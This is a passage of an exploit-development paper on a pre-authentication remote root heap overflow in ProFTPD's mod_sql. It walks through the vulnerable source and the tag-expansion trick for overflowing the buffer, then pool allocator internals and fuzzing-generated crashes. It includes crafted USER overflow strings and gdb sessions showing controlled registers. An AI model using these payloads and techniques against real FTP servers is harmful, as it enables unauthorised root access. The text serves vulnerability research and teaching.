mod_sql pre-authentication, remote root ]=------=| |=-------------------------=[ heap overflow ]=---------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ max_packetz@felinemenace.org ]=------------------=| |=-----------------------------------------------------------------------=| --[ Contents 1 - Introduction 2 - The vulnerability 2.1 - Tags explained 2.2 - Generating overflow strings 3 - Exploring what we can control 3.1 - Automating tasks 3.2 - ProFTPD Pool allocator 3.3 - Examining backtraces 3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace 3.3.2 - 2813d637d735be610a460a75db061f6b backtrace 3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace 3.3.4 - 844319188798d7742af43d10f6541a61 backtrace 3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace 3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace 3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace 3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace 3.3.9 - Summary 3.4 - Exploitation avenues 3.4.1 - Shellcode approach 3.4.2 - Data manipulation 4 - Writing an exploit 4.1 - Exploitation via arbitrary pointer return 4.2 - Cleanup structure crash 4.3 - Potential enhancements 4.4 - Last thoughts 5 - Discussion of hardening techniques against exploitation 5.1 - Address Space Layout Randomisation 5.2 - Non-executable Memory 5.3 - Position Independent Binaries 5.4 - Stack Protector 5.5 - RelRO 6 - References --[ 1 - Introduction This paper describes and explores a pre-authentication remote root heap overflow in the ProFTPD [1] FTP server. It's not quite a standard overflow, due to the how the ProFTPD heap works, and how the bug is exploited via variable substition. The vulnerability was inadvertently mitigated (from remote root, at least :( ) when the ProFTPD developers fixed a separate vulnerability in mod_sql where you could inject SQL and bypass authentication. That vulnerability that mitigated it is documented in CVE-2009-0542. The specific vulnerability we are exploring is an unbounded copy operation in sql_prepare_where(), which has not been fixed yet. Also, I'd like to preemptively apologise for the attached code. It evolved over time in piecemeal fashion, and isn't overly pretty/readable by now :p --[ 2 - The vulnerability The vulnerability itself is a little contrived, but bare with me: In contrib/mod_sql.c, _sql_getpasswd(), we have the following code (line numbers from ProFTPD 1.3.2rc2): --- 1132 if (!cmap.usercustom) { 1133 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere, NULL); 1134 1135 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default", 1136 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select"); 1137 --- Where usrwhere is in the form of: ( = 'USERNAME') Inside of sql_prepare_where() is where all the fun takes place: --- 770 static char *sql_prepare_where(int flags, cmd_rec *cmd, int cnt, ...) { 771 int i, flag, nclauses = 0; 772 int curr_avail; 773 char *buf = "", *res; 774 va_list dummy; 775 776 res = pcalloc(cmd->tmp_pool, SQL_MAX_STMT_LEN); [1] 777 778 flag = 0; 779 va_start(dummy, cnt); 780 for (i = 0; i < cnt; i++) { 781 char *clause = va_arg(dummy, char *); 782 if (clause != NULL && 783 *clause != '\0') { 784 nclauses++; 785 786 if (flag++) 787 buf = pstrcat(cmd->tmp_pool, buf, " AND ", NULL); 788 buf = pstrcat(cmd->tmp_pool, buf, "(", clause, ")", NULL); 789 } 790 } 791 va_end(dummy); 792 793 if (nclauses == 0) 794 return NULL; 795 796 if (!(flags & SQL_PREPARE_WHERE_FL_NO_TAGS)) { [2] 797 char *curr, *tmp; 798 799 /* Process variables in WHERE clauses, except any "%{num}" references. */ 800 curr = res; 801 curr_avail = SQL_MAX_STMT_LEN; 802 803 for (tmp = buf; *tmp; ) { 804 char *str; 805 modret_t *mr; 806 807 if (*tmp == '%') { 808 char *tag = NULL; 809 810 if (*(++tmp) == '{') { 811 char *query; 812 813 if (*tmp != '\0') 814 query = ++tmp; 815 816 while (*tmp && *tmp != '}') 817 tmp++; 818 819 tag = pstrndup(cmd->tmp_pool, query, (tmp - query)); 820 if (tag) { 821 str = resolve_long_tag(cmd, tag); [3] 822 if (!str) 823 str = pstrdup(cmd->tmp_pool, ""); 824 825 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2, "default", 826 str), "sql_escapestring"); 827 if (check_response(mr) < 0) 828 return NULL; 829 830 sstrcat(curr, mr->data, curr_avail); 831 curr += strlen(mr->data); 832 curr_avail -= strlen(mr->data); 833 834 if (*tmp != '\0') 835 tmp++; 836 837 } else { 838 return NULL; 839 } 840 841 } else { 842 str = resolve_short_tag(cmd, *tmp); [4] 843 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2,"default", 844 str), "sql_escapestring"); 845 if (check_response(mr) < 0) 846 return NULL; 847 848 sstrcat(curr, mr->data, curr_avail); 849 curr += strlen(mr->data); 850 curr_avail -= strlen(mr->data); 851 852 if (*tmp != '\0') 853 tmp++; 854 } 855 856 } else { [5] 857 *curr++ = *tmp++; 858 curr_avail--; 859 } 860 } 861 *curr++ = '\0'; 862 863 } else { 864 res = buf; 865 } 866 867 return res; 868 } 869 --- At [1], memory is allocated. SQL_MAX_STMT_LEN is defined as 4096 bytes. That should be plenty for <300 bytes, right? At [2], flags are checked to see if "tags" should be expanded. In the case we are interested in, tags are expanded. At [3], we see that "long tags" are expandable, and that they are surrounded by %{ and finished with }. We'll ignore them for now. They take up too much input space in regards to the output length. At [4], we see that they have concepts of "short" tags, consisting of one byte. At [5], we see that they have an unbounded one byte copy operation, inside of a suitable loop. Now, we need to cover tags to see what we can do with it: ------[ 2.1 Tags explained For the path we're interested in, we'll cover "short" tags (longer tags are not all interesting, and for reasons explained later on). Looking at resolve_short_tag(), we see the following (heavily snipped for brevity): --- 1719 static char *resolve_short_tag(cmd_rec *cmd, char tag) { 1720 char arg[256] = {'\0'}, *argp; 1721 1722 switch (tag) { 1723 case 'A': { 1724 char *pass; 1725 1726 argp = arg; 1727 pass = get_param_ptr(main_server->conf, C_PASS, FALSE); 1728 if (!pass) 1729 pass = "UNKNOWN"; 1730 1731 sstrncpy(argp, pass, sizeof(arg)); 1732 } 1733 break; 1734 1735 case 'a': 1736 argp = arg; 1737 sstrncpy(argp, pr_netaddr_get_ipstr(pr_netaddr_get_sess_remote_addr()), 1738 sizeof(arg)); 1739 break; 1740 ... 1914 case 'm': 1915 argp = arg; 1916 sstrncpy(argp, cmd->argv[0], sizeof(arg)); 1917 break; 1918 ... 1929 case 'r': 1930 argp = arg; 1931 if (strcmp(cmd->argv[0], C_PASS) == 0 && 1932 session.hide_password) 1933 sstrncpy(argp, C_PASS " (hidden)", sizeof(arg)); 1934 1935 else 1936 sstrncpy(argp, get_full_cmd(cmd), sizeof(arg)); 1937 break; 1938 ... 1954 case 'T': 1955 argp = arg; 1956 if (session.xfer.p) { ... 1974 } else 1975 sstrncpy(argp, "0.0", sizeof(arg)); 1976 1977 break; ... 2021 2022 default: 2023 argp = "{UNKNOWN TAG}"; 2024 break; 2025 } 2026 2027 return pstrdup(cmd->tmp_pool, argp); 2028 } 2029 --- So, as you can see, tags are a form of variable substitution. %m and %r allow us to "duplicate" our input, %a allows us to copy our IP address, %T gives us 0.0 (since we're not transferring anything at the moment, and %Z (handled by the default case) gives us "{UNKNOWN TAG}". By combining these, we can generate strings that expand past the allocated size in sql_prepare_where, due to the unbounded copy. Firstly, we'll look at what those inputs would generate, then we'll look at how to generate suitable overflow strings. Firstly, the string "AAA%m" once processed would come out looking like: AAAAAA%m The string "AAA%m%m" would look like: AAAAAA%mAAA%m Unfortunately the string to be expanded isn't as clean as that, it's: ( = 'USER INPUT')\x00 The default of the table field is "userid". Due to the ')\x00 at the end, we can't do arbitrary off-by-1 or 2 overwrites. It's possible that \x00 or \x29 could be useful, in some situations however. Enough chars / %m's etc would expand past 4096 bytes, and start overwriting other information stored on the heap. Tags enable exploitation of this issue via it's input duplication. They also have a significant effect on the heap, for better or worse. (As a side note, contrib/mod_rewrite.c has %m tag support as well. Since it seems a little unlikely to hit that pre-auth, it wasn't investigated further..) ------[ 2.2 Generating overflow strings One initial complication we had in exploring this vulnerability further was due to making an overflow string that once processed would expand to a suitable size. (As an example, overflow our own arbitrary content 32 bytes past 4096). We solved this problem with using a constraint solver to generate the appropriate strings for us, thus solving an otherwise annoying situation (it being a little messy to calculate how much we need, since touching one thing can dramatically throw off the rest of the calculations, as an example, removing one A character would reduce it by one + (one * amount_of_%m_tags)). In exploring the vulnerability, we used python-constraint [2]. We used several constraints: - Input string must be less than 256 bytes. - The parsed string must overflow by exactly X+2 (due to ') added to the end bytes. - One/two others that I've forgotten about as I write this up. We split the strings into "fakeauth" strings, and "trigger" strings. The fakeauth strings are designed to consume/allocate a certain amount of memory, and the trigger strings are designed to overwrite a bunch of bytes after the allocation. Fakeauth strings seem to be required for maximum control of the remote process, but it's possible it's not required at all. By mixing the %m's / %a's / %Z's up, it is possible to change memory allocation / deallocation order, and thus explore/affect where it crashes. While the %a tags are useful in experimenting, they are not ideal, as you then need to take your local IP address into account when exploiting remote hosts. --[ 3 - Exploring what we can control ------[ 3.1 - Automating tasks I'm a big fan of automating as much stuff as possible. In order to get a ten thousand foot view of what I can do, I used python-ptrace [3] and pyevolve [4] to: - Generate input strings - Debug proftpd and record before/after overwriting the memory allocated in sql_prepare_where - Analyze how "interesting" the results of input strings where. - Process exited? Completely uninteresting. - SEGV'd? - Gather backtraces / register contents / see if the program crashed with our directly controllable user input / etc. Pyevolve, for the most part, was useful for mutating the input strings to explore the code paths leading to crashes.. By doing these tasks, I was able to find the more interesting paths that could easily be hit, while I was flicking over the ProFTPD pool allocator ... ------[ 3.2 - ProFTPD Pool allocator A high level overview for the ProFTPD pool allocator (src/pool.c) is given at [5], but here are the quick nuts and bolts of it: - Pools are allocated, and is subdivided into blocks. - Pools have cleanup handlers (very useful - used in proftpd-not-pro-enough [6] exploit by solar to gain code execution). - More blocks are malloc()'d if the pool is out of space. - Memory is never free()'d unless developer mode is enabled, and that's only at daemon shut down. - In order to allocate memory, the single linked list of free blocks is checked to see if the allocation request can be satisfied first without calling malloc(). The pool structure is defined as: --- 196 struct pool { 197 union block_hdr *first; 198 union block_hdr *last; 199 struct cleanup *cleanups; 200 struct pool *sub_pools; 201 struct pool *sub_next; 202 struct pool *sub_prev; 203 struct pool *parent; 204 char *free_first_avail; 205 const char *tag; 206 }; --- The cleanup structure looks like: --- 655 typedef struct cleanup { 656 void *data; 657 void (*plain_cleanup_cb)(void *); 658 void (*child_cleanup_cb)(void *); 659 struct cleanup *next; 660 } cleanup_t; --- Overwriting a cleanup structure, or a pool structure, would allow us to arbitrarily execute code when the pool is cleared/destroyed. The block structure is defined as: --- 46 union block_hdr { 47 union align a; 48 49 /* Padding */ 50 #if defined(_LP64) || defined(__LP64__) 51 char pad[32]; 52 #endif 53 54 /* Actual header */ 55 struct { 56 char *endp; 57 union block_hdr *next; 58 char *first_avail; 59 } h; 60 }; --- Now, we trace pcalloc() as it's called in sql_prepare_where() (and numerously throughout the ProFTPD code), just to see what situations will allow us to return pointers that we control. Controlling these returned pointers would allow us to overwrite arbitrary memory, hopefully with content that we can control. --- 481 void *pcalloc(struct pool *p, int sz) { 482 void *res = palloc(p, sz); 483 memset(res, '\0', sz); 484 return res; 485 } --- gives us: --- 473 void *palloc(struct pool *p, int sz) { 474 return alloc_pool(p, sz, FALSE); 475 } --- which in turn gives us: --- 435 static void *alloc_pool(struct pool *p, int reqsz, int exact) { 436 437 /* Round up requested size to an even number of aligned units */ 438 int nclicks = 1 + ((reqsz - 1) / CLICK_SZ); 439 int sz = nclicks * CLICK_SZ; 440 441 /* For performance, see if space is available in the most recently 442 * allocated block. 443 */ 444 445 union block_hdr *blok = p->last; 446 char *first_avail = blok->h.first_avail; 447 char *new_first_avail; 448 449 if (reqsz <= 0) 450 return NULL; 451 452 new_first_avail = first_avail + sz; 453 454 if (new_first_avail <= blok->h.endp) { [1] 455 blok->h.first_avail = new_first_avail; 456 return (void *) first_avail; 457 } 458 459 /* Need a new one that's big enough */ 460 pr_alarms_block(); 461 462 blok = new_block(sz, exact); [2] 463 p->last->h.next = blok; 464 p->last = blok; 465 466 first_avail = blok->h.first_avail; [3] 467 blok->h.first_avail += sz; 468 469 pr_alarms_unblock(); 470 return (void *) first_avail; 471 } --- The check at [1] checks to see if the request can be satisfied from the pool allocation itself.. The call at [2] requests a "new_block" of memory. The returned pointer is determined at [3], indicating that the first_avail pointer at least needs to be modified. --- 151 /* Get a new block, from the free list if possible, otherwise malloc a new 152 * one. minsz is the requested size of the block to be allocated. 153 * If exact is TRUE, then minsz is the exact size of the allocated block; 154 * otherwise, the allocated size will be rounded up from minsz to the nearest 155 * multiple of BLOCK_MINFREE. 156 * 157 * Important: BLOCK ALARMS BEFORE CALLING 158 */ 159 160 static union block_hdr *new_block(int minsz, int exact) { 161 union block_hdr **lastptr = &block_freelist; 162 union block_hdr *blok = block_freelist; 163 164 if (!exact) { 165 minsz = 1 + ((minsz - 1) / BLOCK_MINFREE); 166 minsz *= BLOCK_MINFREE; 167 } 168 169 /* Check if we have anything of the requested size on our free list first... 170 */ 171 while (blok) { 172 if (minsz <= blok->h.endp - blok->h.first_avail) { 173 *lastptr = blok->h.next; 174 blok->h.next = NULL; 175 176 stat_freehit++; 177 return blok; 178 179 } else { 180 lastptr = &blok->h.next; 181 blok = blok->h.next; 182 } 183 } 184 185 /* Nope...damn. Have to malloc() a new one. */ 186 stat_malloc++; 187 return malloc_block(minsz); 188 } --- BLOCK_MINFREE is defined to PR_TUNABLE_NEW_POOL_SIZE, which is defined to 512 bytes. So, we can see that if we can get the stars to align correctly, we can gain code execution via: - Pool cleanup/destruction - Corrupting the first_avail pointer in a block. The second method is a little more effort, but it may not be possible to hit the first. There are other avenues potentially available such as unlink() style corruption, or other heap content overwrites, but they were not explored in depth. ------[ 3.3 - Examining backtraces After leaving the proftpd input fuzzing / automated crash analysis code [7] running for a while, I decided to stop it and examine some of the backtraces it created, in order to see what was found, and if any indicated that they where able to gain direct code execution, or useful memory corruption. # echo backtraces: `ls -l backtrace.* | wc -l` ; echo unique backtraces: `md5su m backtrace.* | awk '{ print $1 }' | sort | uniq` backtraces: 4280 unique backtraces: 11380f2c8ce44d29b93b9bc6308692ae 2813d637d735be610a460a75db061f6b 3d10e2a054d8124ab4de5b588c592830 844319188798d7742af43d10f6541a61 914b175392625fe75c2b16dc18bfb250 b975726b4537662f3f5ddf377ea26c20 ccbbd918ad0dbc7a869184dc2eb9cc50 f1bfd5428c97b9d68a4beb6fb8286b70 Some of these back traces are very similiar, only real change in where they are called from. However, seeing that the code can be reached from multiple places is good; as it gives us more chances to take control of the remote process. Flicking through the backtraces: --------[ 3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace ] # cat bt_frames.99861.0 EIP: 0xb7b7e67a, EBP: 0xbfd0a0a8, memset EIP: 0x08055034, EBP: 0xbfd0a0d8, pstrcat EIP: 0x080c0d85, EBP: 0xbfd0a118, cmd_select EIP: 0x080c26f2, EBP: 0xbfd0a148, _sql_dispatch EIP: 0x080c4354, EBP: 0xbfd0a1f8, _sql_getpasswd EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups EIP: 0x080718a6, EBP: 0xbfd0a328, call_module EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.99861.0 EAX: 0x00000000 EBX: 0x0882d654 ECX: 0x0000103c EDX: 0x00000001 ESI: 0x080d4960 EDI: 0x41346141 EBP: 0xbfd0a0a8 ESP: 0xbfd0a078 EIP: 0xb7b7e67a So far, we can see we are memset()'ing a controllable pointer :D Looking further at _sql_getpasswd in the backtrace: (gdb) l *0x080c4354 0x80c4354 is in _sql_getpasswd (mod_sql.c:1252). 1247 } 1248 1249 if (!cmap.usercustom) { 1250 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere, NULL); 1251 1252 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default", 1253 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select"); 1254 1255 if (check_response(mr) < 0) 1256 return NULL; (gdb) l *0x080c0d85 0x80c0d85 is in cmd_select (mod_sql_mysql.c:812). 807 } else { 808 query = pstrcat(cmd->tmp_pool, cmd->argv[2], " FROM ", cmd->argv[1], NULL); 809 810 if (cmd->argc > 3 && 811 cmd->argv[3]) 812 query = pstrcat(cmd->tmp_pool, query, " WHERE ", cmd->argv[3], NULL); 813 814 if (cmd->argc > 4 && 815 cmd->argv[4]) 816 query = pstrcat(cmd->tmp_pool, query, " LIMIT ", cmd->argv[4], NULL); This backtrace is interesting, as it's appending contents we directly control to the chunk. Playing further: # telnet 127.0.0.1 21 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1] USER A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m%m%mA%mA%m%Z%Z%mAA%m%m %ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m 331 Password required for A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m% m%mA%mA%m%Z%Z%mAA%m%m%ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m USER AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m% m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9 Ac0A ... Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 19840)] 0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6 (gdb) bt #0 0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6 #1 0x08054d1a in pcalloc (p=0x98a84c4, sz=4156) at pool.c:481 #2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580 #3 0x080c0d85 in cmd_select (cmd=0x98a84ec) at mod_sql_mysql.c:812 #4 0x080c26f2 in _sql_dispatch (cmd=0x98a84ec, cmdname=0x80e4a3d "sql_select") at mod_sql.c:393 #5 0x080c4354 in _sql_getpasswd (cmd=0x98a1ad4, p=0xbfa8368c) at mod_sql.c:1252 #6 0x080c514d in _sql_getgroups (cmd=0x98a1ad4) at mod_sql.c:1599 #7 0x080ca70e in cmd_getgroups (cmd=0x98a1ad4) at mod_sql.c:3612 #8 0x080718a6 in call_module (m=0x80ee940, func=0x80ca6bd , cmd=0x98a1ad4) at modules.c:439 #9 0x0807339e in dispatch_auth (cmd=0x98a1ad4, match=0x80d9685 "getgroups", m=0x0) at auth.c:89 #10 0x0807481d in pr_auth_getgroups (p=0x98a1a04, name=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab 3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A", group_ids=0x80fb0bc, group_names=0x80fb0c0) at auth.c:691 #11 0x08074a98 in auth_anonymous_group (p=0x98a1a04, user=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab 3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A") at auth.c:751 #12 0x08074ea7 in pr_auth_get_anon_config (p=0x98a1a04, login_name=0xbfa838f8, user_name=0x0, anon_name=0x0) at auth.c:864 #13 0x080a4b5c in auth_user (cmd=0x9852e94) at mod_auth.c:1831 #14 0x080718a6 in call_module (m=0x80ec9e0, func=0x80a4a10 , cmd=0x9852e94) at modules.c:439 #15 0x0804c651 in _dispatch (cmd=0x9852e94, cmd_type=2, validate=1, match=0x9852ee4 "USER") at main.c:424 #16 0x0804caba in pr_cmd_dispatch (cmd=0x9852e94) at main.c:523 #17 0x0804d4ee in cmd_loop (server=0x9853af4, c=0x988abdc) at main.c:750 #18 0x0804ea36 in fork_server (fd=1, l=0x988a7bc, nofork=0 '\0') at main.c:1257 #19 0x0804f1cf in daemon_loop () at main.c:1464 #20 0x080522c6 in standalone_main () at main.c:2294 #21 0x08053109 in main (argc=4, argv=0xbfa84374, envp=0xbfa84388) at main.c:2878 (gdb) i r eax 0x0 0 ecx 0x103c 4156 edx 0x1 1 ebx 0x98a2444 160048196 esp 0xbfa834a8 0xbfa834a8 ebp 0xbfa834d8 0xbfa834d8 esi 0x80d4960 135088480 edi 0x41346141 1093951809 ... # ruby pattern_offset.rb 0x41346141 12 ... (gdb) frame 2 #2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580 580 res = (char *) pcalloc(p, len + 1); (gdb) info locals argp = 0x0 res = 0x0 len = 4155 dummy = 0xbfa83524 ... (gdb) x/32x $esp 0xbfa834e0: 0x098a84c4 0x0000103c 0x00000000 0x00000000 0xbfa834f0: 0x00000000 0x0988b62c 0xbfa83524 0x0000103b 0xbfa83500: 0x00000000 0x00000000 0xbfa83548 0x080c0d85 0xbfa83510: 0x098a84c4 0x098a854c 0x080e40e5 0x098aa7d4 0xbfa83520: 0x00000000 0x080ef060 0x00000000 0x00000000 0xbfa83530: 0x00000000 0x098a854c 0x00000000 0x098a8534 0xbfa83540: 0x0988b62c 0x0988b68c 0xbfa83578 0x080c26f2 0xbfa83550: 0x098a84ec 0x080e441a 0x098aa7d4 0x098a3874 (gdb) x/s 0x098a854c 0x98a854c: "userid, passwd, uid, gid, homedir, shell FROM ftpuser" (gdb) x/s 0x080e40e5 0x80e40e5: " WHERE " (gdb) x/s 0x098aa7d4 0x98aa7d4: "(userid='", 'A' , "%m%m%mA%m%m%mA%m%mAA %m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa 6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0", 'A' , "%m%m%mA%m%m%mA%m%mAA%m"... This crash is excellent, but it has several drawbacks: - No direct control of EIP, thus requiring overwriting larger chunks of memory which may be problematic. - Configuration dependent :( - Both SQLUserInfo and SQLGroupInfo specify table names and table entries. For example: - SQLUserInfo ftpuser userid passwd uid gid homedir shell - SQLGroupInfo ftpgroup groupname gid members - We could collect common configurations recommended in guides so that we can take them into account when bruteforcing.. sucky though. Let's see what the others contain before getting too excited :) ------[ 3.3.2 - 2813d637d735be610a460a75db061f6b backtrace ] # cat bt_frames.16259.0 EIP: 0x08054b7d, EBP: 0xbfd0a1d8, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a1e8, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a1f8, destroy_pool EIP: 0x0807389f, EBP: 0xbfd0a248, pr_auth_getpwnam EIP: 0x080a0e3a, EBP: 0xbfd0a488, setup_env EIP: 0x080a51ca, EBP: 0xbfd0a4d8, auth_pass EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.16259.0 EAX: 0x62413362 EBX: 0x0000b25d ECX: 0x00000002 EDX: 0x0882f8e8 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a1d8 ESP: 0xbfd0a1d0 EIP: 0x08054b7d EAX looks like a modified pointer, and we can see we're in the destroy_pool / clean_pool code. No arbitrary EIP yet :~( (gdb) l *0x08054b7d 0x8054b7d is in destroy_pool (pool.c:415). 410 return; 411 412 pr_alarms_block(); 413 414 if (p->parent) { 415 if (p->parent->sub_pools == p) 416 p->parent->sub_pools = p->sub_next; 417 418 if (p->sub_prev) 419 p->sub_prev->sub_next = p->sub_next; (gdb) l * 0x08054b0c 0x8054b0c is in clear_pool (pool.c:395). 390 /* Run through any cleanups. */ 391 run_cleanups(p->cleanups); 392 p->cleanups = NULL; 393 394 /* Destroy subpools. */ 395 while (p->sub_pools) 396 destroy_pool(p->sub_pools); 397 p->sub_pools = NULL; 398 399 free_blocks(p->first->h.next); So, we can see that we've corrupted the p->parent->sub_pools pointer. Not immediately interesting, as we've isolated what appears to be very interesting earlier on. Might be able to do some fun and games at some point with the old unlink() style, though. ------[ 3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace ] # cat bt_frames.99758.0 EIP: 0x08054b7d, EBP: 0xbfd0a338, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.99758.0 EAX: 0x62413362 EBX: 0x0882d4ac ECX: 0x00000002 EDX: 0x088356c8 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a338 ESP: 0xbfd0a330 EIP: 0x08054b7d Unfortunately, EIP is the same as the 2813d637d735be610a460a75db061f6b backtrace, except it dies with pr_auth_getgroups in the backtrace, rather than pr_auth_getpwnam. ------[ 3.3.4 - 844319188798d7742af43d10f6541a61 backtrace ] # cat bt_frames.103331.0 EIP: 0x08054b7d, EBP: 0xbfd0a368, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a378, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.103331.0 EAX: 0x62413362 EBX: 0x0000a2f3 ECX: 0x00000002 EDX: 0x0882f2b8 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a368 ESP: 0xbfd0a360 EIP: 0x08054b7d Not that interesting, unfortunately. ------[ 3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace ] # cat bt_frames.98014.0 EIP: 0x080544e0, EBP: 0xbfd0a368, free_blocks EIP: 0x08054b30, EBP: 0xbfd0a378, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, 